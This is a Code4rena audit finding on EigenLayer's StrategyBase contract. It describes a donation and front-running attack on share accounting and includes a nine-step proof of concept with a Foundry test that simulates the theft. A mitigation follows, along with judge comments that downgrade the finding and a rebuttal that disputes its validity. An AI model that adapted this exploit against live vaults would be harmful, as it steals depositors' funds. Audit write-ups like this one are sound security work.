[H-01] Donation attacks can severely impact users shares.

[code423n4]

Lines of code

https://github.com/code-423n4/2023-04-eigenlayer/blob/main/src/contracts/strategies/StrategyBase.sol#L78-L101 https://github.com/code-423n4/2023-04-eigenlayer/blob/main/src/contracts/strategies/StrategyBase.sol#L121-L156

Vulnerability details

Malicious users can abuse the fact that funds will eventually be moved outside of the ecosystem and shares will be distributed at a 1:1 ratio. First, a malicious user may disrupt the 1:1 balance via the donation attack, making it so subsequent users will be given less than 1 share per token. Then, when the strategy moves funds outside, the malicious user can front-run this process again. When the strategy inevitably moves tokens back into the contract, the malicious user can front-run a withdrawal.

Proof of Concept

Suppose we have a malicious actor Alice, a user Danny, and a strategy owner Greg.

1. Alice deposits 100 tokens, receives 100 shares - system has 100 tokens, 100 shares
2. Alice donates 900 tokens - system has 1000 tokens, 100 shares
3. Danny does not notice, deposits 100 tokens, gets 10 shares - system has 1100 tokens, 110 shares
4. Alice withdraws 100 shares, receiving 1000 tokens - system now has 100 tokens, 10 shares
5. Greg moves the tokens outside of the ecosystem (strategy owner) - system now has 0 tokens, 10 shares (Danny)
6. Alice deposits 1000 tokens, and gets 1000 shares - system has 1000 tokens, and 1010 shares (1000 for Alice, 10 for Danny)
7. Greg moves money back into strategy - system has 1100 tokens, and 1010 shares
8. Alice withdraws 1000 shares, gets ~1089 tokens - system has 11 tokens 10 shares
9. Danny withdraws his 10 shares for only 11 tokens

Below is a test function showing the above scenario.

    function test_Shares() public {
        uint256 atackAmount = 1000e18;
        IERC20 token = dummyToken;

        deal(address(token), address(danny), 1000e18, true);
        deal(address(token), address(alice), 1000e18, true);
        console.log("Alice Balance {Start}: %d", token.balanceOf(address(alice)));
        console.log("Danny Balance {Start}: %d", token.balanceOf(address(danny)));
        console.log(
            "Step 1. Malicious actor Alice deposits 100 tokens, receives 100 shares - system has 100 tokens, 100 shares"
        );
        deposit(alice, address(strategy), address(token), 100e18);
        logHere(token, strategy, strategyManager);

        console.log("Step 2. Alice donates 900 tokens - system has 1000 tokens, 100 shares");
        vm.prank(alice);
        token.transfer(address(strategy), 900e18);

        logHere(token, strategy, strategyManager);

        console.log(
            "Step 3. Danny does not notice, deposits 100 tokens, gets 10 shares - system has 1100 tokens, 110 shares"
        );
        deposit(danny, address(strategy), address(token), 100e18);

        logHere(token, strategy, strategyManager);

        console.log("Step 4. Alice withdraws 100 shares, receiving 1000 tokens - system now has 100 tokens, 10 shares");
        IStrategyManager.QueuedWithdrawal memory queuedWithdrawal1 = qWithdraw(100e18, false, alice, token);
        withdraw(queuedWithdrawal1, token, alice);

        logHere(token, strategy, strategyManager);

        console.log(
            "Step 5. {strategy owner} moves the tokens outside of the ecosystem  - system now has 0 tokens, 10 shares (Danny)"
        );
        vm.prank(address(strategy));
        token.transfer(lendingPool, 100e18); //Deposits into a Lending Pool and recieves LP Tokens
        logHere(token, strategy, strategyManager);

        console.log(
            "Step 6. Alice deposits 1000 tokens, and gets 1000 shares - system has 1000 tokens, and 1010 shares (1000 for Alice, 10 for Danny)"
        );
        deposit(alice, address(strategy), address(token), 1000e18);
        logHere(token, strategy, strategyManager);

        console.log(
            "Step 7. {strategy owner} moves tokens back into strategy - system has 1100 tokens, and 1010 shares"
        );
        vm.prank(lendingPool);
        token.transfer(address(strategy), 100e18); // Burns LP tokens to recieve the deposited tokens
        logHere(token, strategy, strategyManager);

        console.log("Step 8. Alice withdraws 1000 shares, gets ~1089 tokens - system has ~11 tokens 10 shares");
        IStrategyManager.QueuedWithdrawal memory queuedWithdrawal2 = qWithdraw(1000e18, false, alice, token);
        withdraw(queuedWithdrawal2, token, alice);
        logHere(token, strategy, strategyManager);

        console.log("Step 9. Danny withdraws his 10 shares for only ~11 tokens ");
        IStrategyManager.QueuedWithdrawal memory queuedWithdrawal3 = qWithdraw(10e18, false, danny, token);
        withdraw(queuedWithdrawal3, token, danny);
        logHere(token, strategy, strategyManager);

        console.log("Strategy Balance {End}: %d", token.balanceOf(address(strategy)));
        console.log("Alice Balance {End}: %d", token.balanceOf(address(alice)));
        console.log("Danny Balance {End}: %d", token.balanceOf(address(danny)));

        //console.log("Funds lost by danny: %d ", DannyStartBalance - DannyEndBalance);
    }

Recommended Mitigation

Should not use actual balance to calculate shares, instead it should have a tracking variable.

1. If funds moved to a lending pool, it will not affect the calculation of shares. Also the funds won't be lost due to LP tokens held by strategy
2. For donations, we can have receive() update the tracking variable.

Assessed type

Math

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #193

[c4-judge]

GalloDaSballo changed the severity to 2 (Med Risk)

[c4-judge]

GalloDaSballo marked the issue as duplicate of #343

[d3e4]

This is not an inflation/donation attack. The donation in the PoC is not necessary. The described vulnerability is based on the strategy’s moving the tokens out of the contract so that withdrawal is calculated on a partial balance. But removing tokens is a functionality only an inheriting contract would have, and it would then have to be assumed that it overrides _tokenBalance() to reflect this new state of affairs.

[c4-judge]

GalloDaSballo changed the severity to QA (Quality Assurance)